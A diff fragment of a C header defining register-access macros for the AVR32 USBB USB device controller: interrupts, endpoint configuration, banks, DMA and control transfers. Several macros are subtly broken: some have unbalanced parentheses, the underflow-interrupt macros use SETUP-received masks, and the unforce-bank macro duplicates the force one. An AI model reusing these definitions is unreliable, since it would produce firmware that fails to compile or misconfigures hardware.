(AVR32_USBB.udinteset = AVR32_USBB_UDINTESET_UPRSMES_MASK) +#define udd_disable_remote_wake_up_interrupt() (AVR32_USBB.udinteclr = AVR32_USBB_UDINTECLR_UPRSMEC_MASK) +#define Is_udd_remote_wake_up_interrupt_enabled() (Tst_bits(AVR32_USBB.udinte, AVR32_USBB_UDINTE_UPRSME_MASK)) +#define udd_ack_remote_wake_up_start() (AVR32_USBB.udintclr = AVR32_USBB_UDINTCLR_UPRSMC_MASK) +#define udd_raise_remote_wake_up_start() (AVR32_USBB.udintset = AVR32_USBB_UDINTSET_UPRSMS_MASK) +#define Is_udd_remote_wake_up_start() (Tst_bits(AVR32_USBB.udint, AVR32_USBB_UDINT_UPRSM_MASK)) +//! @} + +//! Manage end of resume event (=remote wakeup) +//! The USB controller detects a valid "End of Resume" signal initiated by the host +//! @{ +#define udd_enable_resume_interrupt() (AVR32_USBB.udinteset = AVR32_USBB_UDINTESET_EORSMES_MASK) +#define udd_disable_resume_interrupt() (AVR32_USBB.udinteclr = AVR32_USBB_UDINTECLR_EORSMEC_MASK) +#define Is_udd_resume_interrupt_enabled() (Tst_bits(AVR32_USBB.udinte, AVR32_USBB_UDINTE_EORSME_MASK)) +#define udd_ack_resume() (AVR32_USBB.udintclr = AVR32_USBB_UDINTCLR_EORSMC_MASK) +#define udd_raise_resume() (AVR32_USBB.udintset = AVR32_USBB_UDINTSET_EORSMS_MASK) +#define Is_udd_resume() (Tst_bits(AVR32_USBB.udint, AVR32_USBB_UDINT_EORSM_MASK)) +//! @} + +//! Manage wake-up event (=usb line activity) +//! The USB controller is reactivated by a filtered non-idle signal from the lines +//! @{ +#define udd_enable_wake_up_interrupt() (AVR32_USBB.udinteset = AVR32_USBB_UDINTESET_WAKEUPES_MASK) +#define udd_disable_wake_up_interrupt() (AVR32_USBB.udinteclr = AVR32_USBB_UDINTECLR_WAKEUPEC_MASK) +#define Is_udd_wake_up_interrupt_enabled() (Tst_bits(AVR32_USBB.udinte, AVR32_USBB_UDINTE_WAKEUPE_MASK)) +#define udd_ack_wake_up() (AVR32_USBB.udintclr = AVR32_USBB_UDINTCLR_WAKEUPC_MASK) +#define udd_raise_wake_up() (AVR32_USBB.udintset = AVR32_USBB_UDINTSET_WAKEUPS_MASK) +#define Is_udd_wake_up() (Tst_bits(AVR32_USBB.udint, AVR32_USBB_UDINT_WAKEUP_MASK)) +//! @} + +//! Manage reset event +//! Set when a USB "End of Reset" has been detected +//! @{ +#define udd_enable_reset_interrupt() (AVR32_USBB.udinteset = AVR32_USBB_UDINTESET_EORSTES_MASK) +#define udd_disable_reset_interrupt() (AVR32_USBB.udinteclr = AVR32_USBB_UDINTECLR_EORSTEC_MASK) +#define Is_udd_reset_interrupt_enabled() (Tst_bits(AVR32_USBB.udinte, AVR32_USBB_UDINTE_EORSTE_MASK)) +#define udd_ack_reset() (AVR32_USBB.udintclr = AVR32_USBB_UDINTCLR_EORSTC_MASK) +#define udd_raise_reset() (AVR32_USBB.udintset = AVR32_USBB_UDINTSET_EORSTS_MASK) +#define Is_udd_reset() (Tst_bits(AVR32_USBB.udint, AVR32_USBB_UDINT_EORST_MASK)) +//! @} + +//! Manage sart of frame event +//! @{ +#define udd_enable_sof_interrupt() (AVR32_USBB.udinteset = AVR32_USBB_UDINTESET_SOFES_MASK) +#define udd_disable_sof_interrupt() (AVR32_USBB.udinteclr = AVR32_USBB_UDINTECLR_SOFEC_MASK) +#define Is_udd_sof_interrupt_enabled() (Tst_bits(AVR32_USBB.udinte, AVR32_USBB_UDINTE_SOFE_MASK)) +#define udd_ack_sof() (AVR32_USBB.udintclr = AVR32_USBB_UDINTCLR_SOFC_MASK) +#define udd_raise_sof() (AVR32_USBB.udintset = AVR32_USBB_UDINTSET_SOFS_MASK) +#define Is_udd_sof() (Tst_bits(AVR32_USBB.udint, AVR32_USBB_UDINT_SOF_MASK)) +#define udd_frame_number() (Rd_bitfield(AVR32_USBB.udfnum, AVR32_USBB_UDFNUM_FNUM_MASK)) +#define Is_udd_frame_number_crc_error() (Tst_bits(AVR32_USBB.udfnum, AVR32_USBB_UDFNUM_FNCERR_MASK)) +//! @} + +//! Manage suspend event +//! @{ +#define udd_enable_suspend_interrupt() (AVR32_USBB.udinteset = AVR32_USBB_UDINTESET_SUSPES_MASK) +#define udd_disable_suspend_interrupt() (AVR32_USBB.udinteclr = AVR32_USBB_UDINTECLR_SUSPEC_MASK) +#define Is_udd_suspend_interrupt_enabled() (Tst_bits(AVR32_USBB.udinte, AVR32_USBB_UDINTE_SUSPE_MASK)) +#define udd_ack_suspend() (AVR32_USBB.udintclr = AVR32_USBB_UDINTCLR_SUSPC_MASK) +#define udd_raise_suspend() (AVR32_USBB.udintset = AVR32_USBB_UDINTSET_SUSPS_MASK) +#define Is_udd_suspend() (Tst_bits(AVR32_USBB.udint, AVR32_USBB_UDINT_SUSP_MASK)) +//! @} + +//! @} + +//! @name USBB device address control +//! These macros manage the USBB Device address. +//! @{ + //! enables USB device address +#define udd_enable_address() (Set_bits(AVR32_USBB.udcon, AVR32_USBB_UDCON_ADDEN_MASK)) + //! disables USB device address +#define udd_disable_address() (Clr_bits(AVR32_USBB.udcon, AVR32_USBB_UDCON_ADDEN_MASK)) +#define Is_udd_address_enabled() (Tst_bits(AVR32_USBB.udcon, AVR32_USBB_UDCON_ADDEN_MASK)) + //! configures the USB device address +#define udd_configure_address(addr) (Wr_bitfield(AVR32_USBB.udcon, AVR32_USBB_UDCON_UADD_MASK, addr)) + //! gets the currently configured USB device address +#define udd_get_configured_address() (Rd_bitfield(AVR32_USBB.udcon, AVR32_USBB_UDCON_UADD_MASK)) +//! @} + + +//! @name USBB Device endpoint drivers +//! These macros manage the common features of the endpoints. +//! @{ + +//! Generic macro for USBB registers that can be arrayed +//! @{ +#define USBB_ARRAY(reg,index) ((&AVR32_USBB.reg)[(index)]) +//! @} + +//! @name USBB Device endpoint configguration +//! @{ + //! enables the selected endpoint +#define udd_enable_endpoint(ep) (Set_bits(AVR32_USBB.uerst, AVR32_USBB_UERST_EPEN0_MASK << (ep))) + //! disables the selected endpoint +#define udd_disable_endpoint(ep) (Clr_bits(AVR32_USBB.uerst, AVR32_USBB_UERST_EPEN0_MASK << (ep))) + //! tests if the selected endpoint is enabled +#define Is_udd_endpoint_enabled(ep) (Tst_bits(AVR32_USBB.uerst, AVR32_USBB_UERST_EPEN0_MASK << (ep))) + //! resets the selected endpoint +#define udd_reset_endpoint(ep) (Set_bits(AVR32_USBB.uerst, AVR32_USBB_UERST_EPRST0_MASK << (ep)),\ + Clr_bits(AVR32_USBB.uerst, AVR32_USBB_UERST_EPRST0_MASK << (ep))) + //! tests if the selected endpoint is being reset +#define Is_udd_resetting_endpoint(ep) (Tst_bits(AVR32_USBB.uerst, AVR32_USBB_UERST_EPRST0_MASK << (ep))) + + //! configures the selected endpoint type +#define udd_configure_endpoint_type(ep, type) (Wr_bitfield(USBB_ARRAY(uecfg0,ep), AVR32_USBB_UECFG0_EPTYPE_MASK, type)) + //! gets the configured selected endpoint type +#define udd_get_endpoint_type(ep) (Rd_bitfield(USBB_ARRAY(uecfg0,ep), AVR32_USBB_UECFG0_EPTYPE_MASK)) + //! enables the bank autoswitch for the selected endpoint +#define udd_enable_endpoint_bank_autoswitch(ep) (Set_bits(USBB_ARRAY(uecfg0,ep), AVR32_USBB_UECFG0_AUTOSW_MASK)) + //! disables the bank autoswitch for the selected endpoint +#define udd_disable_endpoint_bank_autoswitch(ep) (Clr_bits(USBB_ARRAY(uecfg0,ep), AVR32_USBB_UECFG0_AUTOSW_MASK)) +#define Is_udd_endpoint_bank_autoswitch_enabled(ep) (Tst_bits(USBB_ARRAY(uecfg0,ep), AVR32_USBB_UECFG0_AUTOSW_MASK)) + //! configures the selected endpoint direction +#define udd_configure_endpoint_direction(ep, dir) (Wr_bitfield(USBB_ARRAY(uecfg0,ep), AVR32_USBB_UECFG0_EPDIR_MASK, dir)) + //! gets the configured selected endpoint direction +#define udd_get_endpoint_direction(ep) (Rd_bitfield(USBB_ARRAY(uecfg0,ep), AVR32_USBB_UECFG0_EPDIR_MASK)) +#define Is_udd_endpoint_in(ep) (Tst_bits(USBB_ARRAY(uecfg0,ep), AVR32_USBB_UECFG0_EPDIR_MASK)) + //! Bounds given integer size to allowed range and rounds it up to the nearest + //! available greater size, then applies register format of USBB controller + //! for endpoint size bit-field. +#define udd_format_endpoint_size(size) (32 - clz(((U32)min(max(size, 8), 1024) << 1) - 1) - 1 - 3) + //! configures the selected endpoint size +#define udd_configure_endpoint_size(ep, size) (Wr_bitfield(USBB_ARRAY(uecfg0,ep), AVR32_USBB_UECFG0_EPSIZE_MASK, udd_format_endpoint_size(size))) + //! gets the configured selected endpoint size +#define udd_get_endpoint_size(ep) (8 << Rd_bitfield(USBB_ARRAY(uecfg0,ep), AVR32_USBB_UECFG0_EPSIZE_MASK)) + //! configures the selected endpoint number of banks +#define udd_configure_endpoint_bank(ep, bank) (Wr_bitfield(USBB_ARRAY(uecfg0,ep), AVR32_USBB_UECFG0_EPBK_MASK, bank)) + //! gets the configured selected endpoint number of banks +#define udd_get_endpoint_bank(ep) (Rd_bitfield(USBB_ARRAY(uecfg0,ep), AVR32_USBB_UECFG0_EPBK_MASK)) + //! allocates the configuration selected endpoint in DPRAM memory +#define udd_allocate_memory(ep) (Set_bits(USBB_ARRAY(uecfg0,ep), AVR32_USBB_UECFG0_ALLOC_MASK)) + //! un-allocates the configuration selected endpoint in DPRAM memory +#define udd_unallocate_memory(ep) (Clr_bits(USBB_ARRAY(uecfg0,ep), AVR32_USBB_UECFG0_ALLOC_MASK)) +#define Is_udd_memory_allocated(ep) (Tst_bits(USBB_ARRAY(uecfg0,ep), AVR32_USBB_UECFG0_ALLOC_MASK)) + + //! configures selected endpoint in one step +#define udd_configure_endpoint(ep, type, dir, size, bank) \ +(\ + Wr_bits(USBB_ARRAY(uecfg0,ep), AVR32_USBB_UECFG0_EPTYPE_MASK |\ + AVR32_USBB_UECFG0_EPDIR_MASK |\ + AVR32_USBB_UECFG0_EPSIZE_MASK |\ + AVR32_USBB_UECFG0_EPBK_MASK, \ + (((U32)(type) << AVR32_USBB_UECFG0_EPTYPE_OFFSET) & AVR32_USBB_UECFG0_EPTYPE_MASK) |\ + (((U32)(dir ) << AVR32_USBB_UECFG0_EPDIR_OFFSET ) & AVR32_USBB_UECFG0_EPDIR_MASK ) |\ + ( (U32)udd_format_endpoint_size(size) << AVR32_USBB_UECFG0_EPSIZE_OFFSET ) |\ + (((U32)(bank) << AVR32_USBB_UECFG0_EPBK_OFFSET ) & AVR32_USBB_UECFG0_EPBK_MASK ))\ +) + //! tests if current endpoint is configured +#define Is_udd_endpoint_configured(ep) (Tst_bits(USBB_ARRAY(uesta0,ep), AVR32_USBB_UESTA0_CFGOK_MASK)) + //! returns the control direction +#define udd_control_direction() (Rd_bitfield(USBB_ARRAY(uesta0(EP_CONTROL), AVR32_USBB_UESTA0_CTRLDIR_MASK)) + + //! resets the data toggle sequence +#define udd_reset_data_toggle(ep) (USBB_ARRAY(uecon0set,ep) = AVR32_USBB_UECON0SET_RSTDTS_MASK) + //! tests if the data toggle sequence is being reset +#define Is_udd_data_toggle_reset(ep) (Tst_bits(USBB_ARRAY(uecon0,ep), AVR32_USBB_UECON0_RSTDT_MASK)) + //! returns data toggle +#define udd_data_toggle(ep) (Rd_bitfield(USBB_ARRAY(uesta0,ep), AVR32_USBB_UESTA0_DTSEQ_MASK)) +//! @} + + +//! @name USBB Device control endpoint +//! These macros contorl the endpoints. +//! @{ + +//! @name USBB Device control endpoint interrupts +//! These macros control the endpoints interrupts. +//! @{ + //! enables the selected endpoint interrupt +#define udd_enable_endpoint_interrupt(ep) (AVR32_USBB.udinteset = AVR32_USBB_UDINTESET_EP0INTES_MASK << (ep)) + //! disables the selected endpoint interrupt +#define udd_disable_endpoint_interrupt(ep) (AVR32_USBB.udinteclr = AVR32_USBB_UDINTECLR_EP0INTEC_MASK << (ep)) + //! tests if the selected endpoint interrupt is enabled +#define Is_udd_endpoint_interrupt_enabled(ep) (Tst_bits(AVR32_USBB.udinte, AVR32_USBB_UDINTE_EP0INTE_MASK << (ep))) + //! tests if an interrupt is triggered by the selected endpoint +#define Is_udd_endpoint_interrupt(ep) (Tst_bits(AVR32_USBB.udint, AVR32_USBB_UDINT_EP0INT_MASK << (ep))) + //! returns the lowest endpoint number generating an endpoint interrupt or MAX_PEP_NB if none +#define udd_get_interrupt_endpoint_number() (ctz(((AVR32_USBB.udint >> AVR32_USBB_UDINT_EP0INT_OFFSET) &\ + (AVR32_USBB.udinte >> AVR32_USBB_UDINTE_EP0INTE_OFFSET)) |\ + (1 << MAX_PEP_NB))) +//! @} + +//! @name USBB Device control endpoint errors +//! These macros control the endpoint errors. +//! @{ + //! enables the STALL handshake +#define udd_enable_stall_handshake(ep) (USBB_ARRAY(uecon0set,ep) = AVR32_USBB_UECON0SET_STALLRQS_MASK) + //! disables the STALL handshake +#define udd_disable_stall_handshake(ep) (USBB_ARRAY(uecon0clr,ep) = AVR32_USBB_UECON0CLR_STALLRQC_MASK) + //! tests if STALL handshake request is running +#define Is_udd_endpoint_stall_requested(ep) (Tst_bits(USBB_ARRAY(uecon0,ep), AVR32_USBB_UECON0_STALLRQ_MASK)) + //! tests if STALL sent +#define Is_udd_stall(ep) (Tst_bits(USBB_ARRAY(uesta0,ep), AVR32_USBB_UESTA0_STALLEDI_MASK)) + //! acks STALL sent +#define udd_ack_stall(ep) (USBB_ARRAY(uesta0clr,ep) = AVR32_USBB_UESTA0CLR_STALLEDIC_MASK) + //! raises STALL sent +#define udd_raise_stall(ep) (USBB_ARRAY(uesta0set,ep) = AVR32_USBB_UESTA0SET_STALLEDIS_MASK) + //! enables STALL sent interrupt +#define udd_enable_stall_interrupt(ep) (USBB_ARRAY(uecon0set,ep) = AVR32_USBB_UECON0SET_STALLEDES_MASK) + //! disables STALL sent interrupt +#define udd_disable_stall_interrupt(ep) (USBB_ARRAY(uecon0clr,ep) = AVR32_USBB_UECON0CLR_STALLEDEC_MASK) + //! tests if STALL sent interrupt is enabled +#define Is_udd_stall_interrupt_enabled(ep) (Tst_bits(USBB_ARRAY(uecon0,ep), AVR32_USBB_UECON0_STALLEDE_MASK)) + + //! tests if NAK OUT received +#define Is_udd_nak_out(ep) (Tst_bits(USBB_ARRAY(uesta0,ep), AVR32_USBB_UESTA0_NAKOUTI_MASK)) + //! acks NAK OUT received +#define udd_ack_nak_out(ep) (USBB_ARRAY(uesta0clr,ep) = AVR32_USBB_UESTA0CLR_NAKOUTIC_MASK) + //! raises NAK OUT received +#define udd_raise_nak_out(ep) (USBB_ARRAY(uesta0set,ep) = AVR32_USBB_UESTA0SET_NAKOUTIS_MASK) + //! enables NAK OUT interrupt +#define udd_enable_nak_out_interrupt(ep) (USBB_ARRAY(uecon0set,ep) = AVR32_USBB_UECON0SET_NAKOUTES_MASK) + //! disables NAK OUT interrupt +#define udd_disable_nak_out_interrupt(ep) (USBB_ARRAY(uecon0clr,ep) = AVR32_USBB_UECON0CLR_NAKOUTEC_MASK) + //! tests if NAK OUT interrupt is enabled +#define Is_udd_nak_out_interrupt_enabled(ep) (Tst_bits(USBB_ARRAY(uecon0,ep), AVR32_USBB_UECON0_NAKOUTE_MASK)) + + //! tests if NAK IN received +#define Is_udd_nak_in(ep) (Tst_bits(USBB_ARRAY(uesta0,ep), AVR32_USBB_UESTA0_NAKINI_MASK)) + //! acks NAK IN received +#define udd_ack_nak_in(ep) (USBB_ARRAY(uesta0clr,ep) = AVR32_USBB_UESTA0CLR_NAKINIC_MASK) + //! raises NAK IN received +#define udd_raise_nak_in(ep) (USBB_ARRAY(uesta0set,ep) = AVR32_USBB_UESTA0SET_NAKINIS_MASK) + //! enables NAK IN interrupt +#define udd_enable_nak_in_interrupt(ep) (USBB_ARRAY(uecon0set,ep) = AVR32_USBB_UECON0SET_NAKINES_MASK) + //! disables NAK IN interrupt +#define udd_disable_nak_in_interrupt(ep) (USBB_ARRAY(uecon0clr,ep) = AVR32_USBB_UECON0CLR_NAKINEC_MASK) + //! tests if NAK IN interrupt is enabled +#define Is_udd_nak_in_interrupt_enabled(ep) (Tst_bits(USBB_ARRAY(uecon0,ep), AVR32_USBB_UECON0_NAKINE_MASK)) + + //! acks endpoint isochronous overflow interrupt +#define udd_ack_overflow_interrupt(ep) (USBB_ARRAY(uesta0clr,ep) = AVR32_USBB_UESTA0CLR_OVERFIC_MASK) + //! raises endpoint isochronous overflow interrupt +#define udd_raise_overflow_interrupt(ep) (USBB_ARRAY(uesta0set,ep) = AVR32_USBB_UESTA0SET_OVERFIS_MASK) + //! tests if an overflow occurs +#define Is_udd_overflow(ep) (Tst_bits(USBB_ARRAY(uesta0,ep), AVR32_USBB_UESTA0_OVERFI_MASK)) + //! enables overflow interrupt +#define udd_enable_overflow_interrupt(ep) (USBB_ARRAY(uecon0set,ep) = AVR32_USBB_UECON0SET_OVERFES_MASK) + //! disables overflow interrupt +#define udd_disable_overflow_interrupt(ep) (USBB_ARRAY(uecon0clr,ep) = AVR32_USBB_UECON0CLR_OVERFEC_MASK) + //! tests if overflow interrupt is enabled +#define Is_udd_overflow_interrupt_enabled(ep) (Tst_bits(USBB_ARRAY(uecon0,ep), AVR32_USBB_UECON0_OVERFE_MASK)) + + //! acks endpoint isochronous underflow interrupt +#define udd_ack_underflow_interrupt(ep) (USBB_ARRAY(uesta0clr,ep) = AVR32_USBB_UESTA0CLR_UNDERFIC_MASK) + //! raises endpoint isochronous underflow interrupt +#define udd_raise_underflow_interrupt(ep) (USBB_ARRAY(uesta0set,ep) = AVR32_USBB_UESTA0SET_UNDERFIS_MASK) + //! tests if an underflow occurs +#define Is_udd_underflow(ep) (Tst_bits(USBB_ARRAY(uesta0,ep), AVR32_USBB_UESTA0_UNDERFI_MASK)) + //! enables underflow interrupt +#define udd_enable_underflow_interrupt(ep) (USBB_ARRAY(uecon0set,ep) = AVR32_USBB_UECON0SET_RXSTPES_MASK) + //! disables underflow interrupt +#define udd_disable_underflow_interrupt(ep) (USBB_ARRAY(uecon0clr,ep) = AVR32_USBB_UECON0CLR_RXSTPEC_MASK) + //! tests if underflow interrupt is enabled +#define Is_udd_underflow_interrupt_enabled(ep) (Tst_bits(USBB_ARRAY(uecon0,ep), AVR32_USBB_UECON0_RXSTPE_MASK)) + + //! tests if CRC ERROR ISO OUT detected +#define Is_udd_crc_error(ep) (Tst_bits(USBB_ARRAY(uesta0,ep), AVR32_USBB_UESTA0_STALLEDI_MASK)) + //! acks CRC ERROR ISO OUT detected +#define udd_ack_crc_error(ep) (USBB_ARRAY(uesta0clr,ep) = AVR32_USBB_UESTA0CLR_STALLEDIC_MASK) + //! raises CRC ERROR ISO OUT detected +#define udd_raise_crc_error(ep) (USBB_ARRAY(uesta0set,ep) = AVR32_USBB_UESTA0SET_STALLEDIS_MASK) + //! enables CRC ERROR ISO OUT detected interrupt +#define udd_enable_crc_error_interrupt(ep) (USBB_ARRAY(uecon0set,ep) = AVR32_USBB_UECON0SET_STALLEDES_MASK) + //! disables CRC ERROR ISO OUT detected interrupt +#define udd_disable_crc_error_interrupt(ep) (USBB_ARRAY(uecon0clr,ep) = AVR32_USBB_UECON0CLR_STALLEDEC_MASK) + //! tests if CRC ERROR ISO OUT detected interrupt is enabled +#define Is_udd_crc_error_interrupt_enabled(ep) (Tst_bits(USBB_ARRAY(uecon0,ep), AVR32_USBB_UECON0_STALLEDE_MASK)) +//! @} + +//! @name USBB Device control endpoint errors +//! These macros control the endpoint errors. +//! @{ + + //! tests if endpoint read allowed +#define Is_udd_read_enabled(ep) (Tst_bits(USBB_ARRAY(uesta0,ep), AVR32_USBB_UESTA0_RWALL_MASK)) + //! tests if endpoint write allowed +#define Is_udd_write_enabled(ep) (Tst_bits(USBB_ARRAY(uesta0,ep), AVR32_USBB_UESTA0_RWALL_MASK)) + + //! returns the byte count +#define udd_byte_count(ep) (Rd_bitfield(USBB_ARRAY(uesta0,ep), AVR32_USBB_UESTA0_BYCT_MASK)) + //! clears FIFOCON bit +#define udd_ack_fifocon(ep) (USBB_ARRAY(uecon0clr,ep) = AVR32_USBB_UECON0CLR_FIFOCONC_MASK) + //! tests if FIFOCON bit set +#define Is_udd_fifocon(ep) (Tst_bits(USBB_ARRAY(uecon0,ep), AVR32_USBB_UECON0_FIFOCON_MASK)) + + //! returns the number of busy banks +#define udd_nb_busy_bank(ep) (Rd_bitfield(USBB_ARRAY(uesta0,ep), AVR32_USBB_UESTA0_NBUSYBK_MASK)) + //! returns the number of the current bank +#define udd_current_bank(ep) (Rd_bitfield(USBB_ARRAY(uesta0,ep), AVR32_USBB_UESTA0_CURRBK_MASK)) + //! kills last bank +#define udd_kill_last_in_bank(ep) (USBB_ARRAY(uecon0set,ep) = AVR32_USBB_UECON0SET_KILLBKS_MASK) + //! tests if last bank killed +#define Is_udd_last_in_bank_killed(ep) (Tst_bits(USBB_ARRAY(uecon0,ep), AVR32_USBB_UECON0_KILLBK_MASK)) + //! forces all banks full (OUT) or free (IN) interrupt +#define udd_force_bank_interrupt(ep) (USBB_ARRAY(uesta0set,ep) = AVR32_USBB_UESTA0SET_NBUSYBKS_MASK) + //! unforces all banks full (OUT) or free (IN) interrupt +#define udd_unforce_bank_interrupt(ep) (USBB_ARRAY(uesta0set,ep) = AVR32_USBB_UESTA0SET_NBUSYBKS_MASK) + //! enables all banks full (OUT) or free (IN) interrupt +#define udd_enable_bank_interrupt(ep) (USBB_ARRAY(uecon0set,ep) = AVR32_USBB_UECON0SET_NBUSYBKES_MASK) + //! disables all banks full (OUT) or free (IN) interrupt +#define udd_disable_bank_interrupt(ep) (USBB_ARRAY(uecon0clr,ep) = AVR32_USBB_UECON0CLR_NBUSYBKEC_MASK) + //! tests if all banks full (OUT) or free (IN) interrupt enabled +#define Is_udd_bank_interrupt_enabled(ep) (Tst_bits(USBB_ARRAY(uecon0,ep), AVR32_USBB_UECON0_NBUSYBKE_MASK)) + + //! tests if SHORT PACKET received +#define Is_udd_short_packet(ep) (Tst_bits(USBB_ARRAY(uesta0,ep), AVR32_USBB_UESTA0_SHORTPACKETI_MASK)) + //! acks SHORT PACKET received +#define udd_ack_short_packet(ep) (USBB_ARRAY(uesta0clr,ep) = AVR32_USBB_UESTA0CLR_SHORTPACKETIC_MASK) + //! raises SHORT PACKET received +#define udd_raise_short_packet(ep) (USBB_ARRAY(uesta0set,ep) = AVR32_USBB_UESTA0SET_SHORTPACKETIS_MASK) + //! enables SHORT PACKET received interrupt +#define udd_enable_short_packet_interrupt(ep) (USBB_ARRAY(uecon0set,ep) = AVR32_USBB_UECON0SET_SHORTPACKETES_MASK) + //! disables SHORT PACKET received interrupt +#define udd_disable_short_packet_interrupt(ep) (USBB_ARRAY(uecon0clr,ep) = AVR32_USBB_UECON0CLR_SHORTPACKETEC_MASK) + //! tests if SHORT PACKET received interrupt is enabled +#define Is_udd_short_packet_interrupt_enabled(ep) (Tst_bits(USBB_ARRAY(uecon0,ep), AVR32_USBB_UECON0_SHORTPACKETE_MASK)) + + //! Get 64-, 32-, 16- or 8-bit access to FIFO data register of selected endpoint. + //! @param ep Endpoint of which to access FIFO data register + //! @param scale Data scale in bits: 64, 32, 16 or 8 + //! @return Volatile 64-, 32-, 16- or 8-bit data pointer to FIFO data register + //! @warning It is up to the user of this macro to make sure that all accesses + //! are aligned with their natural boundaries except 64-bit accesses which + //! require only 32-bit alignment. + //! @warning It is up to the user of this macro to make sure that used HSB + //! addresses are identical to the DPRAM internal pointer modulo 32 bits. +#define udd_get_endpoint_fifo_access(ep, scale) \ + (((volatile TPASTE2(U, scale) (*)[0x10000 / ((scale) / 8)])AVR32_USBB_SLAVE)[(ep)]) + +//! @name USBB endpoint DMA drivers +//! These macros manage the common features of the endpoint DMA channels. +//! @{ + //! enables the disabling of HDMA requests by endpoint interrupts +#define udd_enable_endpoint_int_dis_hdma_req(ep) (USBB_ARRAY(uecon0set(ep) = AVR32_USBB_UECON0SET_EPDISHDMAS_MASK) + //! disables the disabling of HDMA requests by endpoint interrupts +#define udd_disable_endpoint_int_dis_hdma_req(ep) (USBB_ARRAY(uecon0clr(ep) = AVR32_USBB_UECON0CLR_EPDISHDMAC_MASK) + //! tests if the disabling of HDMA requests by endpoint interrupts is enabled +#define Is_udd_endpoint_int_dis_hdma_req_enabled(ep) (Tst_bits(USBB_ARRAY(uecon0(ep), AVR32_USBB_UECON0_EPDISHDMA_MASK)) + + //! raises the selected endpoint DMA channel interrupt +#define udd_raise_endpoint_dma_interrupt(ep) (AVR32_USBB.udintset = AVR32_USBB_UDINTSET_DMA1INTS_MASK << ((ep) - 1)) + //! tests if an interrupt is triggered by the selected endpoint DMA channel +#define Is_udd_endpoint_dma_interrupt(ep) (Tst_bits(AVR32_USBB.udint, AVR32_USBB_UDINT_DMA1INT_MASK << ((ep) - 1))) + //! enables the selected endpoint DMA channel interrupt +#define udd_enable_endpoint_dma_interrupt(ep) (AVR32_USBB.udinteset = AVR32_USBB_UDINTESET_DMA1INTES_MASK << ((ep) - 1)) + //! disables the selected endpoint DMA channel interrupt +#define udd_disable_endpoint_dma_interrupt(ep) (AVR32_USBB.udinteclr = AVR32_USBB_UDINTECLR_DMA1INTEC_MASK << ((ep) - 1)) + //! tests if the selected endpoint DMA channel interrupt is enabled +#define Is_udd_endpoint_dma_interrupt_enabled(ep) (Tst_bits(AVR32_USBB.udinte, AVR32_USBB_UDINTE_DMA1INTE_MASK << ((ep) - 1))) + + //! Access points to the USBB device DMA memory map with arrayed registers + //! @{ + //! Structure for DMA registers +typedef struct { + union { + unsigned long nextdesc; + avr32_usbb_uddma1_nextdesc_t NEXTDESC; + }; + unsigned long addr; + union { + unsigned long control; + avr32_usbb_uddma1_control_t CONTROL; + }; + union { + unsigned long status; + avr32_usbb_uddma1_status_t STATUS; + }; +} avr32_usbb_uxdmax_t; + //! Structure for DMA registers +#define USBB_UDDMA_ARRAY(ep) (((volatile avr32_usbb_uxdmax_t *)&AVR32_USBB.uddma1_nextdesc)[(ep) - 1]) + + //! Set control desc to selected endpoint DMA channel +#define udd_endpoint_dma_set_control(ep,desc) (USBB_UDDMA_ARRAY(ep).control=desc) + //! Get control desc to selected endpoint DMA channel +#define udd_endpoint_dma_get_control(ep) (USBB_UDDMA_ARRAY(ep).control) + //! Set RAM address to selected endpoint DMA channel +#define udd_endpoint_dma_set_addr(ep,add) (USBB_UDDMA_ARRAY(ep).addr=add) + //! Get status to selected endpoint DMA channel +#define udd_endpoint_dma_get_status(ep) (USBB_UDDMA_ARRAY(ep).status) + //! @} +//! @} + +//! @} + +//! @name USBB Device control endpoint errors +//! These macros control the endpoint errors. +//! @{ + + //! tests if SETUP received +#define Is_udd_setup_received(ep) (Tst_bits(USBB_ARRAY(uesta0,ep), AVR32_USBB_UESTA0_RXSTPI_MASK)) + //! acks SETUP received +#define udd_ack_setup_received(ep) (USBB_ARRAY(uesta0clr,ep) = AVR32_USBB_UESTA0CLR_RXSTPIC_MASK) + //! raises SETUP received +#define udd_raise_setup_received(ep) (USBB_ARRAY(uesta0set,ep) = AVR32_USBB_UESTA0SET_RXSTPIS_MASK) + //! enables SETUP received interrupt +#define udd_enable_setup_received_interrupt(ep) (USBB_ARRAY(uecon0set,ep) = AVR32_USBB_UECON0SET_RXSTPES_MASK) + //! disables SETUP received interrupt +#define udd_disable_setup_received_interrupt() (USBB_ARRAY(uecon0clr(EP_CONTROL) = AVR32_USBB_UECON0CLR_RXSTPEC_MASK) + //! tests if SETUP received interrupt is enabled +#define Is_udd_setup_received_interrupt_enabled(ep) (Tst_bits(USBB_ARRAY(uecon0,ep), AVR32_USBB_UECON0_RXSTPE_MASK)) + + //! tests if OUT received +#define Is_udd_out_received(ep) (Tst_bits(USBB_ARRAY(uesta0,ep), AVR32_USBB_UESTA0_RXOUTI_MASK)) + //! acks OUT received +#define udd_ack_out_received(ep) (USBB_ARRAY(uesta0clr,ep) = AVR32_USBB_UESTA0CLR_RXOUTIC_MASK) + //! raises OUT received +#define udd_raise_out_received(ep) (USBB_ARRAY(uesta0set,ep) = AVR32_USBB_UESTA0SET_RXOUTIS_MASK) + //! enables OUT received interrupt +#define udd_enable_out_received_interrupt(ep) (USBB_ARRAY(uecon0set,ep) = AVR32_USBB_UECON0SET_RXOUTES_MASK) + //! disables OUT received interrupt +#define udd_disable_out_received_interrupt(ep) (USBB_ARRAY(uecon0clr,ep) = AVR32_USBB_UECON0CLR_RXOUTEC_MASK) + //! tests if OUT received interrupt is enabled +#define Is_udd_out_received_interrupt_enabled(ep) (Tst_bits(USBB_ARRAY(uecon0,ep), AVR32_USBB_UECON0_RXOUTE_MASK)) + + //! tests if IN sending +#define Is_udd_in_send(ep) (Tst_bits(USBB_ARRAY(uesta0,ep), AVR32_USBB_UESTA0_TXINI_MASK)) + //! acks IN sending +#define udd_ack_in_send(ep) (USBB_ARRAY(uesta0clr,ep) = AVR32_USBB_UESTA0CLR_TXINIC_MASK) + //! raises IN sending +#define udd_raise_in_send(ep) (USBB_ARRAY(uesta0set,ep) = AVR32_USBB_UESTA0SET_TXINIS_MASK) + //! enables IN sending interrupt +#define udd_enable_in_send_interrupt(ep) (USBB_ARRAY(uecon0set,ep) = AVR32_USBB_UECON0SET_TXINES_MASK) + //! disables IN sending interrupt +#define udd_disable_in_send_interrupt(ep) (USBB_ARRAY(uecon0clr,ep) = AVR32_USBB_UECON0CLR_TXINEC_MASK) + //! tests if IN sending interrupt is enabled +#define Is_udd_in_send_interrupt_enabled(ep) (Tst_bits(USBB_ARRAY(uecon0,ep), AVR32_USBB_UECON0_TXINE_MASK)) +//! @} + +//! @} + +#endif // 